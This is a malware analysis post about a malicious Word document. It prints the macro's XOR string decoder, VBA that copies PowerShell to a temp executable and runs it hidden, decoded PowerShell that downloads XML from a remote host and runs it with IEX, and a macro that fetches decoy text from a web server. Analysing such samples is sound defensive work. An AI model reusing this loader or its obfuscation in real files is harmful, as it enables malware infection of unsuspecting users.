Malicious Word Document with Dynamic Content
Here is another malicious Word document that I spotted while hunting. "Another one?" may ask some of our readers. Indeed but malicious documents remain a very common infection vector and you learn a lot when you analyze them. I was recently asked to talk about Powershell (de)obfuscation techniques. When you're dealing with an incident in a corporate environment, you don't have time to investigate in deep. The incident must be resolved as soon as possible because the business must go on and a classic sandbox analysis is performed to get the feedback: It's malicious or not.
The document has a nice VT score: 38/64 (SHA256:d317d07872fe22a85824a691b069a6e6ffab09d67bf2ed67b7b65432c0bc882e)[1]. Based on VirusTotal, it was uploaded for the first time in March but we resubmited recently and deserves a diary for two reasons.
The first one is the obfuscation technique used by the attackers. It mimics perfectly an example of a malicious document that we analyze in the FOR610 training[2]. All interesting strings are XOR-encoded and decoded on the fly with the help of the following function:
Function XorC(ByVal sData As String, ByVal sKey As String) As String Dim l As Long, i As Long, byIn() As Byte, byOut() As Byte, byKey() As Byte Dim bEncOrDec As Boolean If Len(sData) = 0 Or Len(sKey) = 0 Then XorC = "Invalid argument(s) used": Exit Function If Left$(sData, 3) = "xxx" Then bEncOrDec = False sData = Mid$(sData, 4) Else bEncOrDec = True End If byIn = sData byOut = sData byKey = sKey l = LBound(byKey) For i = LBound(byIn) To UBound(byIn) - 1 Step 2 byOut(i) = ((byIn(i) + Not bEncOrDec) Xor byKey(l)) - bEncOrDec l = l + 2 If l > UBound(byKey) Then l = LBound(byKey) Next i XorC = byOut If bEncOrDec Then XorC = "xxx" & XorC End Function
Here are some examples:
str = XorC("xxxs ngY`V_GCncICFU]ngY`V_GCb_GUDcZU^^nH nB_GUDCZU^^ UJU", "1")
Deobfuscated:
str = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
How the macro behaves?
First, the Powershell executable is copied into 'C:\Temp\init.exe' then launched with a chunk of Base64-encoded data:
Sub CallP() Dim str As String str = XorC("xxxsngY`V_GCncICFU]ngY`V_GCb_GUDcZU^^nH nB_GUDCZU^^ UJU", "1") Dim tmp As String tmp = Environ("TEMP") & "\init.exe" Set j = CreateObject(XorC("xxxcSDYBFY`W xY^UcICFU]T\USF", "1")) res = j.CopyFile(str, tmp) Set wm = GetObject(XorC("xxxGY`]W]FCgY`obD_SUCC", "1")) Set wma = GetObject(XorC("xxxGY`]W]FCgY`obD_SUCCcFQDFEB", "1")) wma.ShowWindow = 0 str = tmp & XorC("xxxW\9'W\9@W\W WS_.#Y4 ,MM8&6@@Y2& _.6,MM15AC& _R", "v") str = str & "W1N5c3RlbS5OZXQuU2Vydml ... [Base64 data] ... ci1qb2luJyc7IElFWCAkZA==')))" Result = wm.Create(str, Null, wma, processid) End Sub
The VBA code is not really obfuscated but the Base64-encoded PowerShell code is different:
[System.Net.ServicePointManager]::ServerCertificateValidationCallback={1}; $a = New-Object System.Xml.XmlDocument; $I=0; $ip = 'hxxps://2388371974'; $a.Load($(. {param([string]$b,[int]$n,[int]$s,[int]$c); $p = @(9,5,6,7); $u={param([int]$g,$x); sal er Get-Random;$(-join(1..$($g*$($x|er))|%{[char][int]((65..90)+(97..122)|er)})).ToLower()}; '{0}/{1}/{2}/{3}/{4}.{5}' -f $b, $(. $u $n $p), $(. $u $s $p), $(. $u $c $p), $(. $u 1 $p), $(. $u 1 3)} $ip $PSVersionTable.CLRVersion.Major 2 $([IntPtr]::Size/2))); [CHAr[]]$r = [System.Text.Encoding]::UTF8.GetString($([System.Convert]::FromBase64String($a.system.culture.info))); $k = $($r[($r.Length-44)..($r.Length-13)]-join''); [CHAr[]]$r = $r[14..($r.Length-57)]|%{$_-BXor$k[$I++%$k.LeNGtH]}; $d = $r-join''; IEX $d
This code fetches some XML content thought:
$a = New-Object System.Xml.XmlDocument;
The generated URL is:
hxxps://142[.]91[.]170[.]6/imuvvnguwzlqbxknfoojixkxhqqmrtjplsqu/cfgyolzrlulx/kcojeexiyjlyhypsynqrqdrh/bpucxzv.hxf
From the XML file, another chunk of Base64 data is decoded from the node '$a.system.culture.info':
[CHAr[]]$r = [System.Text.Encoding]::UTF8.GetString($([System.Convert]::FromBase64String($a.system.culture.info)));
This code is next XOR'd with the key that is extracted from the decoded string above:
$k = $($r[($r.Length-44)..($r.Length-13)]-join''); [CHAr[]]$r = $r[14..($r.Length-57)]|%{$_-BXor$k[$I++%$k.LeNGtH]};
Unfortunately, the XML document can't be fetched (the server returns an HTTP error 500). I tried from multiple locations with multiple User-Agent, no luck.
The second interesting behavior is the way the document body is updated with some content grabbed from a webserver. Here is the document when opened:
And the code used to replace the body with another text:
Sub SetCont() Dim objHTTP As Object Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP") res = objHTTP.SetOption(2, SXH_SERVER_CERT_IGNORE_ALL_SERVER_ERRORS) objHTTP.Open "GET", "https://moviedvdpower.com/CV_SEO_ADS_David_Alvarez.txt", False objHTTP.send ("") ActiveDocument.Content.Text = objHTTP.responseText End Sub
This is a great way to make the victim confident about the document. In this case, a simple text file is fetched but we could imagine that the attacker will request data based on the victim's environment (like the language). Simple and efficient...
[1] https://www.virustotal.com/gui/file/d317d07872fe22a85824a691b069a6e6ffab09d67bf2ed67b7b65432c0bc882e/detection
[2] https://www.sans.org/cyber-security-courses/reverse-engineering-malware-malware-analysis-tools-techniques/
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Comments